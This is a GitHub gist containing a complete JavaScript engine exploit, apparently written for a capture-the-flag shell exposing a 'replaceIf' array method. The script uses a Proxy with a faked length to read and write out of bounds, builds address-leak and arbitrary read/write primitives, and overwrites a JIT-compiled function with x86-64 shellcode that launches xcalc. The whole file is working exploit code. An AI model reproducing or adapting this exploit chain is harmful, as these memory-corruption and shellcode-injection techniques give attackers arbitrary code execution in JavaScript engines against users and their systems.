Created
March 28, 2021 07:56
-
-
Save 0xm0/76721e920c41746746082fd7db8f9ade to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// conversion utilities | |
conva = new ArrayBuffer(8); | |
convi = new Uint32Array(conva); | |
convf = new Float64Array(conva); | |
function unpack(d) { | |
convf[0] = d; | |
return (BigInt(convi[1]) << 32n) + BigInt(convi[0]); | |
} | |
function pack(n) { | |
convi[0] = Number(n & 0xffffffffn); | |
convi[1] = Number(n >> 32n); | |
return convf[0]; | |
} | |
function L(s) { | |
print(s); | |
} | |
// function whose jitted code we'll write our shellcode over | |
function trample_me(lol) { | |
eval(""); | |
lol[0] = 1.1; | |
lol[1] = 1.1; | |
lol[2] = 1.1; | |
lol[3] = 1.1; | |
lol[4] = 1.1; | |
lol[5] = 1.1; | |
lol[6] = 1.1; | |
lol[7] = 1.1; | |
lol[8] = 1.1; | |
lol[9] = 1.1; | |
} | |
// get our target function jitted | |
for (var i = 0; i < 10000; i++) { | |
trample_me({}); | |
} | |
// pop xcalc: | |
var shc = [ 0x48, 0x81, 0xec, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8b, 0xec, 0x48, 0x8d, 0x64, 0x24, 0xe0, 0x48, 0x8d, 0x05, 0x4f, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0xe0, 0x6a, 0x00, 0x8f, 0x45, 0xe8, 0x48, 0x8d, 0x05, 0x34, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf0, 0x6a, 0x00, 0x8f, 0x45, 0xf8, 0x48, 0x8d, 0x05, 0x15, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x38, 0x48, 0x8d, 0x75, 0xe0, 0x48, 0x8d, 0x55, 0xf0, 0x6a, 0x3b, 0x58, 0x0f, 0x05, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00]; | |
function pwn() { | |
L("Starting..."); | |
var arr = [1.1, 1.2, 1.3, 1.4]; | |
var jsarray = new Array(0xbd); | |
var victim = new Uint8Array(0xabcd); | |
victim.fill(0xc0); // make the victim easier to find in a debugger | |
var wrapper = new Proxy(arr, { | |
get: function(obj, prop) { | |
if (prop == "length") { return 0xffff; } | |
return obj[prop]; | |
} | |
}); | |
var offsetRead = (i) => { | |
// load offset from array | |
var value = 1.1; | |
wrapper.replaceIf(i, (x) => { value = x; return false; }, 0); | |
return unpack(value); | |
} | |
var offsetWrite = (i, x) => { | |
// write value (bigint) into offset | |
wrapper.replaceIf(i, (v) => { return true; }, pack(x)); | |
} | |
// hunt through the oob read to find victim | |
var victim_length_offset = null; | |
var jsarray_length_offset = null; | |
var first_jsarray_length_offset = null; | |
for (var i = 0; i < 300; i++) { | |
var value = offsetRead(i); | |
//L("V[" + i + "]: 0x" + value.toString(16)); | |
if (victim_length_offset === null && value === 0xabcdn<<32n) { | |
L("found victim length offset: " + i); | |
victim_length_offset = i; | |
} | |
// we don't actually want the first one we find here, the second is right | |
// *shrug* | |
if (first_jsarray_length_offset === null && value === 0xbdn<<32n) { | |
L("found first jsarray length offset: " + i); | |
first_jsarray_length_offset = i; | |
} else if (value === 0xbdn<<32n) { | |
L("found jsarray length offset: " + i); | |
jsarray_length_offset = i; | |
} | |
} | |
if (victim_length_offset === null || jsarray_length_offset === null) { | |
L("What? I didn't find the offsets, aborting... :((((("); | |
throw 1; | |
} | |
function addrof(obj) { | |
jsarray[0] = obj; | |
var ret = offsetRead(jsarray_length_offset+1); | |
return ret; | |
} | |
// set the backing pointer of victim so we can do reads and writes and stuff | |
function setPointer(addr) { | |
offsetWrite(victim_length_offset+15, addr); | |
} | |
// this is a dumb way to do this, we could probably go through a | |
// Float64Array, but i'm lazy and this works well enough c: | |
function arbRead64(addr) { | |
setPointer(addr); | |
return (BigInt(victim[0]) << (8n*0n)) + | |
(BigInt(victim[1]) << (8n*1n)) + | |
(BigInt(victim[2]) << (8n*2n)) + | |
(BigInt(victim[3]) << (8n*3n)) + | |
(BigInt(victim[4]) << (8n*4n)) + | |
(BigInt(victim[5]) << (8n*5n)) + | |
(BigInt(victim[6]) << (8n*6n)) + | |
(BigInt(victim[7]) << (8n*7n)); | |
} | |
function arbWrite8(addr, value) { | |
setPointer(addr); | |
victim[0] = Number(value); | |
} | |
//%DebugPrint(victim); | |
//arbRead64(0x4142434445464748n); | |
//arbWrite8(0x4142434445464748n, 0xc1n); | |
// find the jitted code for trample_me | |
var trample_me_addr = addrof(trample_me); | |
L('trample_me @ 0x' + trample_me_addr.toString(16)); | |
var jit_page_addr = arbRead64(trample_me_addr-1n+0x30n)-1n+0x40n; | |
L('jit page @ 0x' + jit_page_addr.toString(16)); | |
// overwrite the jitted page for trample_me with our shellcode | |
for (var i = 0; i < shc.length; i++) { | |
arbWrite8(jit_page_addr+BigInt(i), shc[i]); | |
} | |
// run our shellcode | |
trample_me({}); | |
} | |
pwn(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment